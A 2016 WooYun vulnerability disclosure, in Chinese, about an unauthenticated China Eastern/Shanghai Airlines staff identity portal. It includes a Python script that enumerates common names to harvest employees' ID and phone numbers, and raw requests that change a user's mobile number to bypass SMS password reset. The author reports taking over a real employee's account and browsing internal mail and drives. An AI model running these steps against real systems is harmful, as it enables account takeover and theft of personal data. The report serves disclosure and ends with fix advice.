当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0183875

漏洞标题:上海航空员工个人信息泄露/密码重置(绕过短信验证)/内部资料泄露

相关厂商:上海航空

漏洞作者: 大物期末不能挂

提交时间:2016-03-13 00:50

修复时间:2016-04-28 09:04

公开时间:2016-04-28 09:04

漏洞类型:账户体系控制不严

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-13: 细节已通知厂商并且等待厂商处理中
2016-03-14: 厂商已经确认,细节仅向厂商公开
2016-03-24: 细节向核心白帽子及相关领域专家公开
2016-04-03: 细节向普通白帽子公开
2016-04-13: 细节向实习白帽子公开
2016-04-28: 细节向公众公开

简要描述:

帝都大三计算机专业学生,最近欲找实习,便在wooyun社区发悬赏贴。
结果发完贴之后发现wb<5,无法进入社区,无奈去找漏洞。

详细说明:

0x01 故事如何开始
寻找上海航空子域名时发现,东方航空员工都是从IDM统一身份认证自服务登陆。

http://id.ceair.com:7777/idmsso/login.jsp


由于不是80端口,而是7777端口,引起了我的关注。
通过信息搜集和目录尝试,发现了以下目录

http://id.ceair.com:7777/    Oracle Fusion Middleware 11g的界面。
http://id.ceair.com:7777/manual/ Apache HTTP 服务器 2.2 文档
http://id.ceair.com:7777/sysadmin/ 猜测是Oracle Fusion Middleware 11g的管理员登陆界面
http://id.ceair.com:7777/idmsso/login.jsp
http://id.ceair.com:7777/iamsso/login.jsp 以上两个为一模一样的用户登陆界面,这个引起了我的关注。发现了未授权访问页面
http://id.ceair.com:7777/idmsso/ 而我们的故事,从这个页面开始


0x02 未授权访问页面获取信息
http://id.ceair.com:7777/idmsso/页面截图如下:

未授权访问页面.jpg


从图片中发现,右上角登陆用户为null,然而我并没有登陆。访问页面时抓包,发现加载页面后会请求用户信息

POST /idmsso/Self.do?method=findInfo&userLogin=null HTTP/1.1
Host: id.ceair.com:7777
Content-Length: 0
Accept: application/json, text/javascript, */*
Origin: http://id.ceair.com:7777
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Referer: http://id.ceair.com:7777/idmsso/left.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
Connection: close


其中userLogin参数为null,手工测试,改成zhangwei,liwei,zhangqiang等中国的大众姓名,发现均有数据返回。

张伟.png


于是写了脚本,利用中国常用姓名top500测试。

#coding = utf-8
import re
import urllib
import time
import random
def gethtml(url):
while True:
try:
page = urllib.urlopen(url)
html = page.read()
return html
break
except:
print 'gethtml() error,try again'


output = open('data.txt', 'w')
output.close
url = "http://id.ceair.com:7777//idmsso/Self.do?method=findPersonalInfo&userLogin="
for line in open("name.txt"):
line=line.strip('\n')
getinfo_url = url + line
html = gethtml(getinfo_url)
output = open('data.txt','a')
output.write("%s|%s\n"%(line,html))


返回的数据格式为:{"result":["姓名","性别","邮箱","身份证号","手机号","部门","职位","公司"]}
抓取数据保存在data.txt中,发现114个姓名未匹配到,剩余抓取386人信息。统计了一下,职位中带有总经理三个字的有15人
修改密码可用,但是不知道原密码,故无法修改

POST /idmsso/Self.do?method=changePassword HTTP/1.1
Host: id.ceair.com:7777
Content-Length: 50
Accept: application/json, text/javascript, */*
Origin: http://id.ceair.com:7777
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://id.ceair.com:7777/idmsso/changepassword.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
Connection: close
username=用户名&oldpwd=旧密码&newpwd=新密码


0x03 任意用户密码重置
根据以上获取的用户信息,我们来进行密码重置。

http://id.ceair.com:7777/iamsso/forget-password.jsp


经过测试,此页面逻辑为
1.输入正确的用户名和身份证号,点击获取验证码。
2.后台判断无误后查找对应的手机号,发送短信验证码。
3.提交判断短信验证码是否正确。
根据之前获取的信息,我们可以轻易填写用户名和身份证号,但是要发送短信这一部分很麻烦。
回顾之前的过程,发现这个未授权页面还可以修改手机号。

手机号码.jpg


数据包如下

POST /idmsso/Self.do?method=changemobile&mobile=手机号码&userLogin=用户名 HTTP/1.1
Host: id.ceair.com:7777
Content-Length: 0
Accept: application/json, text/javascript, */*
Origin: http://id.ceair.com:7777
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Referer: http://id.ceair.com:7777/idmsso/personaldata.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
Connection: close


这里,我们将zhangwei的手机号改成了我们自己的手机号,然后获取验证码。

短信验证码.png


修改成功

QQ截图20160312161509.jpg


密码重置成功.png


密码强度很高,有大写小写字母,数字和特殊符号。
重置密码之后,将张伟手机号再改回来。他下次发现登录不上,自己再重置密码即可解决。
0x04 进入之后

http://jwbte.ceair.com/app/addressbook_V2?t=1457774830778&ra=1&rp=0  公司所有人通讯录


通讯录.jpg


在这里面获取信息之后我们可重复进行上面的第二步,用脚本搜集更多信息

https://mail.ceair.com/owa/#


邮箱.jpg


更改后的密码也可以登陆邮箱。

http://pan.ceair.com/Home


东航内部网盘,大量内部信息

网盘1.jpg


网盘2.jpg


还有员工单点登陆。

员工密码.jpg


就大致看了几个网站,剩下的没深入,觉得已经可以证明危害,就提交了。

漏洞证明:

未授权访问页面:

http://id.ceair.com:7777/idmsso/

抓包修改数据即可获取员工信息,修改手机号。如果知道原密码,还可以修改密码
任意用户密码重置:根据未授权访问页面获取的信息+修改对应员工手机号即可重置任意用户密码。

QQ截图20160312161509.jpg


密码重置成功.png


修复方案:

1.未授权页面删除或者添加权限控制。
2.用户名可以添加一些规则,例如zhang.wei wei.zhang 而不是zhangwei,太容易猜解了。
3.公共网盘中不知道有没有企业需要的重要信息,如果有,建议不要放在公共网盘中。

版权声明:转载请注明来源 大物期末不能挂@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-03-14 09:04

厂商回复:

十分感谢!

最新状态:

暂无